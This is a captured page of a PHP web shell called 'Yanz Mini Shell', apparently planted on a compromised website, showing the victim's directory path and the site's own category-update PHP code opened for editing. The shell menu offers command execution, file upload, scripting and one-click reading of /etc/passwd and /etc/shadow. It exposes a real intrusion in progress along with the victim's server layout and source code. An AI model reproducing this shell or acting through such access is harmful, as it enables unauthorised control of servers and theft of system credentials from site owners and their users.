Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
datetimepicker
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php header('Content-Type: application/json'); include '../../config/config.php'; error_log("Category update request received"); error_log(json_encode($_POST)); $errors = []; // Function to sanitize input function sanitizeInput($data) { return htmlspecialchars(trim($data), ENT_QUOTES, 'UTF-8'); } // Validate category ID if (empty($_POST['id'])) { echo json_encode(['status' => 'error', 'message' => "Category ID is required"]); exit; } $category_id = sanitizeInput($_POST['id']); // Fetch old image path $stmt = $pdo->prepare("SELECT image FROM tbl_category WHERE id = ?"); $stmt->execute([$category_id]); $oldImage = $stmt->fetchColumn(); $is_old_image_unlink = false; // Validate required fields $name = !empty($_POST['category_name']) ? sanitizeInput($_POST['category_name']) : ''; if (empty($name)) { $errors[] = "Field 'category_name' is required"; } $status = !empty($_POST['status']) ? sanitizeInput($_POST['status']) : 'active'; // Handle image upload $uploadDir = '../../uploads/categories/'; $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif']; $imagePath = null; if (!empty($_FILES['image']['name'])) { $fileName = $_FILES['image']['name']; $fileTmpName = $_FILES['image']['tmp_name']; $fileSize = $_FILES['image']['size']; $fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION)); if (!in_array($fileExt, $allowedExtensions)) { $errors[] = "Invalid file type. Allowed types: jpg, jpeg, png, gif."; } if ($fileSize > 2 * 1024 * 1024) { $errors[] = "File size exceeds 2MB."; } if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } $newFileName = uniqid('category_') . '.' . $fileExt; $fullPath = $uploadDir . $newFileName; if (!move_uploaded_file($fileTmpName, $fullPath)) { $errors[] = "Failed to upload image."; } else { $is_old_image_unlink = true; $imagePath = 'uploads/categories/' . $newFileName; } } if (!empty($errors)) { echo json_encode(['status' => 'error', 'message' => $errors]); exit; } // Prepare update fields $updateFields = ['name = :name', 'status = :status']; $bindData = [ 'name' => $name, 'status' => $status, 'id' => $category_id, ]; if ($imagePath !== null) { $updateFields[] = 'image = :image'; $bindData['image'] = $imagePath; } $updateSQL = implode(', ', $updateFields); try { $stmt = $pdo->prepare("UPDATE tbl_category SET $updateSQL WHERE id = :id"); if ($stmt->execute($bindData)) { if (!empty($oldImage) && file_exists('../../' . $oldImage) && $is_old_image_unlink) { unlink('../../' . $oldImage); } echo json_encode(["status" => 'success', "message" => "Category updated successfully"]); } else { if (!empty($imagePath) && file_exists('../../' . $imagePath)) { unlink('../../' . $imagePath); } echo json_encode(["status" => 'error', 'message' => 'Error executing update']); } } catch (PDOException $e) { error_log("Error updating category: " . $e->getMessage()); if (!empty($imagePath) && file_exists('../../' . $imagePath)) { unlink('../../' . $imagePath); } echo json_encode(["status" => 'error', 'message' => 'Database error: ' . $e->getMessage()]); } ?>
Free Space : 11271745536 Byte